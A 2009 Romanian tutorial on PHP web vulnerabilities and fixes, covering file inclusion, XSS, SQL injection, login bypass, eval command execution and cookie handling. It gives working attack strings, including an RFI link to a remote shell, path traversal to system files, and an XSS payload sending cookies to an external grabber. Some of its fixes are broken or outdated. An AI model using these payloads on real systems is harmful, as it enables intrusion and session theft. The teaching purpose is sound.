Sunteți pe pagina 1din 13

Vulnerabilitati Web si securizarea acestora

Data publicarii: 13-02-2009 - Copyright Popescu Ionut


Autor: Popescu Ionut aka Nytro
(c) Romanian Security Team 2009
n acest tutorial voi vorbi doar despre atacurile asupra aplicaiei Web i anume despre
urmtoarele tipuri de vulnerabiliti:
1) Remote File Inclusion ( RFI )
2) Local File Inclusion ( LFI )
3) Cross Site Scripting ( XSS )
4) HTTP Header Injection
5) SQL Injection
6) Login ByPass
7) Arbitrary File Upload
8) Remote Code & Command Execution
9) Full Path Disclosure
10) Insecure Cookie Handling
*) O funcie de securizare a datelor
1) Remote File Inclusion
Este un tip de vulnerabilitate din ce n ce mai rar ntlnit n ziua de azi, dar este de asemenea cel
mai periculos. Vulnerabilitatea const n includerea unui fiier aflat pe alt server, folosind un
parametru GET. Practic, scriptul va include direct fiierul specificat prin valoarea unei variabile
trimise prin GET. S dm un exemplu. Programatorul folosete urmtorul cod pentru a include
un fiier:
Cod:
<?php
if (isset($_GET['pagina'])) {
$pag=$_GET['pagina'];
include $pag; // Sau include $pag.".php";
}
?>

Unde e greeala? n ideea scriptului.


Dac utilizatorul va specifica pentru variabila 'pagina' valoarea "http://site.com/script.php",
scriptul va include acest fiier ( desigur, dac allow url include este activat ).
S lum un exemplu. Dac un utilizator atribuie variabilei pagina valoarea "http://google.ro",
scriptul va include coninutul site-ului. Dar va include codul HTML generat de server.
ns ce se ntmpl dac utilizatorul include "http://site.com/script.txt"?
Dac va include un "http://site.com/script.php", acest script va fi interpretat ( n caz c pe server

se afl PHP ) pe serverul pe care se afl, iar scriptul va include outputul HTML. ns dac se
include un fiier cu extensia .txt, iar scriptul conine cod PHP, serverul va interpreta el acel cod.
De cele mai multe ori se folosete un shell ( script PHP, bine scris, care permite executarea
multor funcii pe serverul victim ). De exemplu, dac utilizatorul va include
"http://www.evilc0der.com/r57.txt", atunci va putea face multe lucruri pe server.
Exemplu:

ns cu ce ajut acel ".php"? Simplu, cu nimic. Utilizatorul va folosi o sintax de genul:


"http://server.com/script.php?pagina=http://site.com/script.txt?".
Singurul lucru necesar pentru acesta e adugarea caracterului "?" la sfritul URL-ului pe care
dorete s fie inclus. Acest "?" va transforma ".php"-ul de intrare n variabil prin GET, i nu va
afecta n nici un fel includerea scriptului. Se poate folosi de asemenea i "%00", care reprezint
caracterul cu codul ASCII 0, caracterul NULL, care marcheaz sfritul unui ir de caractere.
Deci ceea ce se afl dup acest NULL nu e luat n considerare.
Cum se poate fixa?
n mod normal, prin filtrarea irurilor "http://" i "ftp://", dar nu recomand aceast soluie, pentru
c scriptul va putea include fiiere locale, i se ajunge la LFI. Cea mai bun soluie e schimbarea
ideii incluziunii. Se poate folosi foarte uor un switch, care va conine o list cu paginile care pot
fi incluse.
Exemplu:

Cod:
<?php
if(isset($_GET['pagina'])) {
$pag=$_GET['pagina'];
switch($pag) {
case "pag1.php":
include "pag1.php";
break;
case "pag2.php":
include "pag2.php";
break;
default:
include "meniu.php";
}
}
?>

2) Local File Inclusion


Este un tip de vulnerabilitate mai des ntlnit dect RFI, dar principiul e acelai: includerea unui
fiier trimis folosind o variabil prin GET, ns scriptul va verifica dac acel fiier exist, iar
dac exist l va include.
Exemplu:
Cod:
<?php
if(isset($_GET['pagina'])) {
$pag=$_GET['pagina'];
if(file_exists($pag)) {
include $pag.".php";
}
}
?>

Nu e la fel de periculos ca RFI ( de asemenea poate include fiiere locale ), dar este foarte
periculos, i se poate ajunge la RFI de la el.
Scriptul verific dac fiierul se afl pe server, dar pe server nu se afl dect fiierele scriptului (
CMS... ) care conine pagina cu LFI. Deci se pot include fiiere de pe server.
Exemplu ( Windows ):
http://site.com/script.php?pag=../../../../../boot.ini
Dar dac scriptul include i acel ".php" va fi nevoie de folosirea caracterului NULL pentru a fi
posibil incluziunea:
http://site.com/script.php?pag=../../../../../boot.ini%00
Probabil tii i voi c acele "../" se folosesc pentru a "nainta" n folderul anterior folderului n
care se afl scriptul cu probleme.

Astfel se va include fiierul "boot.ini", care va fi afiat n browser. Desigur, nu l ncnt cu


nimic s includ acel fiier, dar pe Linux poate include fiiere care conin date importante ca
"etc/passwd" sau altele. Dar s nu uitm c se poate ajunge la RFI. Se poate ajunge prin
injectarea de cod PHP n loguri, apoi includerea fiierului cu loguri, care conine cod PHP, sau
prin injectarea unui cod PHP ntr-o imagine urmat de uploadarea acesteia pe server ( dac este
posibil ), apoi includerea sa. Desigur, nu este RFI, dar se poate ajunge la aceleai probleme pe
care le poate provoca un RFI.
Cum se poate fixa?
La fel ca i RFI, folosind un switch pentru paginile care pot fi incluse. De asemenea, se pot filtra
irurile "../" sau "..\" ( Windows ).
3) Cross Site Scripting
Este cel mai comun tip de atac Web din ziua de azi, dar nu este ntotdeauna periculos.
Este periculos doar cnd scriptul se folosete de cookie-uri sau sesiuni pentru anumite lucruri.
Spre deosebire de RFI i LFI, vulnerabilitatea nu afecteaz serverul, ci afecteaz utilizatorul de
rnd, este o vulnerabilitate client-side.
Ideea de baz e urmtoarea.
Un script citete o variabil, de cele mai multe ori prin GET, apoi afieaz valoarea acesteia n
browser. De cele mai multe ori se folosete un cod JavaScript. E destul de uor de gsit o astfel
de vulnerabilitate. Se testeaz variabilele prin GET ( poate fi gsit i prin POST XSS, dar este
puin mai greu de exploatat ), crora li se atribuie ca valoare un cod JavaScript.
Spre exemplu, avem urmtorul cod:
Cod:
<?php
if(isset($_GET['text'])) {
$var=$_GET['text'];
print $var;
}
?>

Astfel la accesarea unui link de genul:


http://site.com/script.php?text=lalala
Se va afia textul "lalala".
Dar ce se ntmpl dac variabila text conine un cod JavaScript?
Acesta va fi interpretat n browserul "victimei".
Exemplu:
http://site.com/tutorial.php?text=<script>alert('xss')</script>
Dac cineva va urma acest link, va primi o alert cu textul 'xss'. Nimic grav, dar se pot face i
alte lucruri.
XSS se folosete cel mai des pentru furtul cookie-urilor. Cookie-urile se folosesc pentru ca

serverul s "recunoasc" utilizatorii. Aa tie serverul cine e logat i cine nu. Deci dac cineva
intr n posesia cookie-urilor altei persoane, dac aceasta este logat, prin folosirea cookie-urilor
sale, atacatorul va fi logat cu contul "victimei". La cookie se ajunge foarte uor prin
"document.cookie" n JavaScript, i de cele mai multe ori se folosete un cookie grabber pentru
furtul acestora.
Un cookie grabber este un script PHP, de cele mai multe ori, care primete prin GET cookie-urile
victimelor i le scrie ntr-un fiier.
Cookie-urile se pot trimite ctre grabber prin JavaScript foarte uor:
http://site.com/script.php?text=<script>document.location.href='http://server2.com/grabber.ph
p?cookie='+escape(document.cookie)</script>
n loc de +, care se folosete pentru spaiu n encodarea unui URL, se poate folosi "%2B".
Aadar, acest simplu script va redireciona victima ctre grabber, care i va fura cookie-urile iar
atacatorul se va putea folosi de ele. Dar o victim i poate da seama c poate fi victima unui atac
XSS dac observ un URL asemntor cu cel de mai sus. Dar nu este nici o problem pentru
atacator, el poate folosi foarte uor un iframe.
Exemplu:
<iframe
scr="http://site.com/script.php?text=<script>document.location.href='http://server2.com/grab
ber.php?cookie='+escape(document.cookie)</script>" width="0" height="0">
iar pagina sa va putea conine orice.
Pentru acest tip de atac se pot folosi mai multe sintaxe pentru injectare de cod.
De exemplu:
<IMG SRC=javascript:alert('XSS')>
sau injectarea unui cod aflat pe alt server:
<SCRIPT SRC=//site.com/script.js>
Se poate fixa destul de uor.
PHP ofer 2 funcii, care fac cam acelai lucru: htmlentities i htmlspecialchars. Aceste funcii
transform caracterele speciale gen "<", ">", "&" i ghilimelele n echivalentele lor n entiti
HTML.
De exemplu convertesc ">" n "&gt;" i "<" n "&lt;"
Ambele funcii se pot folosi cu al doilea parametru opional setat pe valoarea ENT_QUOTES.
Astfel se vor converti i ghilimelele n entiti.
Astfel, la o cerere de genul:
http://site.com/script.php?text=<script>alert('1')</script>
se va returna:

&lt;script&gt;alert('1')&lt;/script&gt;
care va afia n browser textul
<script>alert('1')</script>
dar nu se va executa nici un cod JavaScript. Deci scriptul ar trebui s arate aa:
Cod:
<?php
if(isset($_GET['text'])) {
$var=$_GET['text'];
print htmlentities($var, ENT_QUOTES);
// Sau print htmlspecialchars($var, ENT_QUOTES);
}
?>

ns chiar dac un atacator a furat cookie-urile cuiva, putei opri folosirea acestora foarte uor.
Pentru acest lucru va trebui s mai creai o variabil de sesiune ( folosii sesiunile n locul
cookie-urilor deoarece sunt mai sigure, de exemplu pentru c se salveaz pe server, deci nu pot fi
editate ) n care s memorai adresa IP n momentul logrii. Apoi, cnd utilizatorul acceseaz o
pagin, trebuie verificat IP-ul acestuia cu IP-ul din variabila de sesiune, iar dac acestea nu
coincid, se face delogarea.
Cod:
<?php
if($_SERVER['REMOTE_ADDR']!=$_SESSION['ip']) {
session_unset();
session_destroy();
}
?>

Desigur, pot aprea cteva mici probleme pentru utilizatorii care au IP dinamic. Acetia vor
trebui s se logheze de fiecare dat cnd au un alt IP.
4) HTTP Header Injection
Aceast vulnerabilitate afecteaz Website-urile care afieaz browserul, de cele mai multe ori.
Am pomenit de ea pentru a v spune c nu toate headerele care provin de la utilizator sunt
corecte, nici User-Agent, nici Cookie... Exist de exemplu pentru Mozilla pluginul Tamper Data
care permite editarea acestor headere.
Dei nu pare o vulnerabilitate important, poate provoca mari probleme. Plecat de la un simplu
XSS, poate ajunge la XSS permanent, se poate folosi pentru SQL Injection, dac de exemplu se
caut n baza de date n funcie de un cookie.
5) SQL Injection

Este foarte des ntlnit i poate provoca mult ru.


n ce const el:
Programatorul caut n baza de date n funcie de un anumit ID, pe care utilizatorul l trimite prin
GET ctre server.
Poate avea un cod de genul:
$int=mysql_query("SELECT x,y,z FROM tabel WHERE id='".$_GET['id']."'");
Se poate verifica foarte uor dac o pagin e vulnerabil folosindu-se o ghilimea simpl.
http://site.com/script.php?id='2
sau
http://localhost/tutorial.php?id='
sau
http://localhost/tutorial.php?id=2'
Astfel, query-ul va fi urmtorul:
"SELECT x,y,z FROM tabel WHERE id=''2' "
i se va returna o eroare n browser.
Atacatorul va trece mai departe i va putea gsi numrul de coloane folosind clauza "order by",
va putea afla baza de date folosind funcia database(), va putea citi tabelele din
information_schema.tables, dac versiunea de MySQL e > 5, va putea gsi apoi coloanele, apoi
va putea citi orice date din baza de date. Nu stau s scriu un tutorial de injectare.
Pentru prevenirea unui astfel de atac se foloseste mysql_real_escape_string. Aceast funcie
adaug back-slashuri n faa unor caractere speciale ( \x00, \n, \r, \x1a, ' si " ).
Aceste caractere au o semnificaie special, nu sunt simple caractere. De exemplu ghilimelele
sunt folosite pentru a delimita un ir. Folosind aceast funcie, aceste caractere nu mai au nici o
semnificaie special. Aadar, la un request de genul:
http://site.com/script.php?id='2
query-ul va prea tot acelai, numai c ' nu marcheaz sfritul unui ir, ci este caracter ca oricare
altul. Codul va arta cam aa:
Cod:
<?php
mysql_connect("localhost","root","");
mysql_select_db("forum");
$userid=mysql_real_escape_string($_GET['id']);

$int=mysql_query("SELECT * FROM post WHERE postid='".$userid."'");


?>

ns trebuie s fii puin ateni. Dac magic quotes gpc este On, ghilimelele vor fi automat backslash-uite, i este necesar ca nainte de mysql_real_escape_string s fie terse back-slash-urile
iniiale pentru ca irul s nu fie back-slash-uit de 2 ori.
Exemplu:
Cod:
<?php
if (get_magic_quotes_gpc()) {
$userid = stripslashes($_GET['id']);
}
$userid = mysql_real_escape_string($value);
$int=mysql_query("SELECT * FROM post WHERE postid='".$userid."'");
?>

De cele mai multe ori, atacurile au loc asupra variabilelor care reprezint un id ( Primary Key ).
Deci acest id va trebui s fie ntotdeauna un numr. Putei verifica acest lucru cu ajutorul funciei
"is_numeric" sau putei transforma automat ceea ce primii prin GET n numr ntreg ( 0 n cazul
n care nu este numr) folosind intval($_GET['id'])
Desigur, se pot folosi i funciile htmlentities i htmlspecialchars cu ENT_QUOTES pentru
acest lucru, se poate folosi i addshashes.
6) Login ByPass
Este tot un atac SQL Injection, ntlnit la csuele de logare. S presupunem c avem un cod,
care va face logarea, de genul:
Cod:
<?php
$int=mysql_query("SELECT * FROM users WHERE user='{$_POST['username']}'
AND password='{$_POST['password']}'");
?>

Dac utilizatorul introduce "' OR ''='", query-ul va fi:


SELECT * FROM users WHERE user='aidan' AND password='' OR ''=''
i se va face logarea indiferent de user. Pentru a nu avea o astfel de problem putei proceda ca i
la SQL Injection, sau facei totul mai "frumos".
n primul rnd verificai dac userul exist deja, apoi verificai dac este corect parola, apoi
facei logarea. Desigur, dac n baza de date parola este salvat criptat (aa cum este recomandat)
atunci indiferent ce va fi introdus ca parol se va cripta nainte i atunci nu mai trebuie sa v
facei probleme.
7) Arbitrary File Upload

Acest tip de vulnerabilitate, practic, nu e o vulnerabilitate, de cele mai multe ori. Dac avei un
serviciu de upload pe server, avei grij ca utilizatorii s nu poat uploada fiiere PHP. Nu facei
acest lucru verificnd ca extensia s nu fie ".php", recomandarea mea e s citii fiierul ( n caz
c nu se pot uploada fiiere mari ) i s verificai dac conine cod PHP.
Cod:
<?php
$fisier=file_get_contents($_FILES['fisier']['tmp_name']));
if(explode("<?",$fisier)1 && explode("?>",$fisier))
print "Cod PHP";
?>

Dac un fiier conine cod PHP, chiar dac nu are extensia .php, n cazul unei vulnerabiliti
LFI, acest cod va putea fi interpretat de ctre server. ns e foarte greu s opreti un astfel de
atac, multe fiiere i tipuri de fiiere pot conine "<?" sau "?>", deci v recomand mai degrab s
nu avei LFI n script, dect s oprii un astfel de atac. n plus, dac dorii o limit pentru
mrimea fiierelor, nu v bazai pe un input hidden care s conin mrimea maxim, valoarea
acestui cmp poate fi schimbat.
8) Remote Code & Command Execution
Acest tip de vulnerabilitate nu este foarte des ntlnit, dar este periculoas. Remote Code
Execution const n executarea unor comenzi PHP. Acest lucru este posibil datorit funciei
"eval", cnd se evalueaz un parametru prin GET de exemplu.
Exemplu:
Cod:
<?php
eval("print '".$_GET['text']."';");
?>

Dac utilizatorul va face request ctre:


http://site.com/script.php?text=Un text';phpinfo();
va observa n browser rezultatul funciei phpinfo();
Remote Command Execution const n executarea unor comenzi n Terminal ( cmd ).
Acest lucru se poate face prin Remote Code Execution, cu ajutorul funciei eval:
http://site.com/script.php?text=Un text';system('ipconfig');
Exemplul este pentru Windows. De asemenea se poate rula un cod n Terminal dac
programatorul se folosete de funcia system ( exec, shell_exec, passthru ).
Recomand s nu se foloseasc deloc funcia eval, cel puin nu e un parametru prin GET. De
asemenea s nu se foloseasc nici funciile care execut comenzi n Terminal.

9) Full Path Disclosure


Nu este practic o vulnerabilitate, se poate descoperi calea complet pentru un fiier. De exemplu
dac avem codul:
print strstr($_GET['id'],"1");
iar utilizatorul face requestul:
http://site.com/script.php?id[]=2
atacatorul va primi ca rezultat calea complet ctre fiier printr-un Warning:
Array to string conversion in C:\wamp\www\tutorial.php on line 3 ( de exemplu ).
Se poate fixa foarte uor folosind funcia "is_array".
10) Insecure Cookie Handling
Este rar ntlnit, dar uneori poate fi periculoas. De exemplu, nu recomand salvarea pe PC-ul
utilizatorului a unor date de logare sub form de cookie.
Dac este furat cookie, atacatorul va avea userul i parola victimei. De asemenea nu folosii o
variabil cookie pentru a verifica dac un utilizator este logat, dac valoarea acestei variabile este
True. Valoarea sa se poate seta la True foarte uor:
javascript:document.cookie="variabila = true";
Pentru a nu avea astfel de probleme recomand folosirea sesiunilor n locul cookie-urilor.
*) O funcie de securizare a datelor
S ncercm s scriem o funcie cu care s securizam datele i cu care s salvm eventualele
atacuri. Personal, recomand transformarea caracterelor speciale n entiti. Astfel nu vei avea
probleme nici cu SQL Injection nici cu XSS.
De exemplu:
Cod:
<?php
function secure_it($ce) {
// Stiu ca se puteau folosi 2 vectori, dar cred ca asa se observa mai bine
// caracterele si entitatile lor.
$secured=str_replace('"',"&#34;",$ce);
$secured=str_replace("'","&#39;",$secured);
$secured=str_replace("-","&#45;",$secured);
$secured=str_replace("+","&#43;",$secured);
$secured=str_replace(",","&#44;",$secured);
$secured=str_replace(".","&#46;",$secured);
$secured=str_replace("*","&#42;",$secured);

$secured=str_replace("<","&#60;",$secured);
$secured=str_replace(">","&#62;",$secured);
$secured=str_replace(":","&#58;",$secured);
$secured=str_replace("%","&#37;",$secured);
$secured=str_replace("\$","&#36;",$secured);
$secured=str_replace("=","&#61;",$secured);
$secured=str_replace("?","&#63;",$secured);
$secured=str_replace("(","&#40;",$secured);
$secured=str_replace(")","&#41;",$secured);
$secured=str_replace("/","&#47;",$secured);
$secured=str_replace("{","&#123;",$secured);
$secured=str_replace("}","&#125;",$secured);
$secured=str_replace("\\","&#92;",$secured);
return $secured;
}
?>

Funcia va converti n entiti HTML o mare parte din caracterele speciale care pot face ru. Nu
v facei griji pentru dublul apel al acestei funcii asupra aceluiai ir, funcia nu convertete
caracterele &, #, ; n entiti, deoarece sunt folosite pentru entiti. Desigur, nu sunt necesare
toate transformrile, i se poate folosi htmlentities pentru acest lucru, dar eu unul prefer s
folosesc aceast funcie, pe care o pot modifica cum vreau eu.
De asemenea nu ar strica o funcie prin care s identificm anumite atacuri, i s introducem n
baza de date cteva informaii despre atacator. n primul rnd va trebui s crem tabelul:
Cod:
CREATE TABLE IF NOT EXISTS hack_attempt
(id INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
ip VARCHAR(20),
browser VARCHAR(100),
data INT, tip VARCHAR(50));

Apoi scriem o funcie care va identifica dac se ncearc un atac. Recomand folosirea acestei
funcii numai asupra variabilelor care trebuie s aibe o valoare numeric i nu asupra variabilelor
care sunt de exemplu comentarii ale utilizatorilor, deoarece ar putea conine caractere speciale i
astfel se va umple baza de date de loguri inutile.
Cod:
<?php
function securizare($ce) {
$query="";
if(is_array($ce)) {
$query="INSERT INTO hack_attempt
(ip, browser, data, tip) VALUES
('".$_SERVER['REMOTE_ADDR']."',
'".secure_it($_SERVER['HTTP_USER_AGENT'])."',
'".time()."', 'Full Path Disclosure')";
}
elseif(strpos($ce,"<")!==false || strpos($ce,">")!==false) {
$query="INSERT INTO hack_attempt
(ip, browser, data, tip) VALUES
('".$_SERVER['REMOTE_ADDR']."',

'".secure_it($_SERVER['HTTP_USER_AGENT'])."',
'".time()."', 'Cross Site Scripting')";
}
elseif(strpos($ce,"../")!==false || strpos($ce,"..\\")!==false){
$query="INSERT INTO hack_attempt
(ip, browser, data, tip) VALUES
('".$_SERVER['REMOTE_ADDR']."',
'".secure_it($_SERVER['HTTP_USER_AGENT'])."',
'".time()."', 'Local File Inclusion')";
}
elseif(strpos($ce,"http://")!==false || strpos($ce,"ftp://")!==false) {
$query="INSERT INTO hack_attempt
(ip, browser, data, tip) VALUES
('".$_SERVER['REMOTE_ADDR']."',
'".secure_it($_SERVER['HTTP_USER_AGENT'])."',
'".time()."', 'Remote File Inclusion')";
}
elseif(strpos($ce,"=")!==false || strpos($ce,",")!==false ||
strpos($ce,"'")!==false || strpos($ce,'"')!==false ||
strpos($ce,"-")!==false || strpos($ce,"/*")!==false ||
strpos($ce,";")!==false) {
$query="INSERT INTO hack_attempt
(ip, browser, data, tip) VALUES
('".$_SERVER['REMOTE_ADDR']."',
'".secure_it($_SERVER['HTTP_USER_AGENT'])."',
'".time()."', 'SQL Injection')";
}
if($query!="")
$int=mysql_query($query);
return secure_it($ce);
}
?>

Astfel, n funcie de anumite caractere vom ti ce a ncercat atacatorul i vom salva n baza de
date IP-ul i browserul su, data i tipul atacului.
Chiar dac am dat numai exemple prin GET, majoritatea atacurilor se pot face de asemenea prin
POST, numai c prin GET sunt mai uor de exploatat.
Ideea de baz e urmtoarea:
Nu efectuai niciodat instruciuni directe asupra unei variabile nainte de a-i verifica coninutul,
nainte de a scpa de orice problem poate aprea. Gndii-v la orice valoare poate seta un
utilizator asupra acelei variabile, i ncercai s prevenii orice fel de problem ar putea aprea.
Sper c v-a ajutat acest tutorial. Dac sunt probleme, dac avei nelmuriri sau critici postai n
forum.
- See more at: http://www.tutorialeonline.net/ro/article/vulnerabilitati-web-si-securizareaacestora#sthash.z9pz8ZPP.dpuf

S-ar putea să vă placă și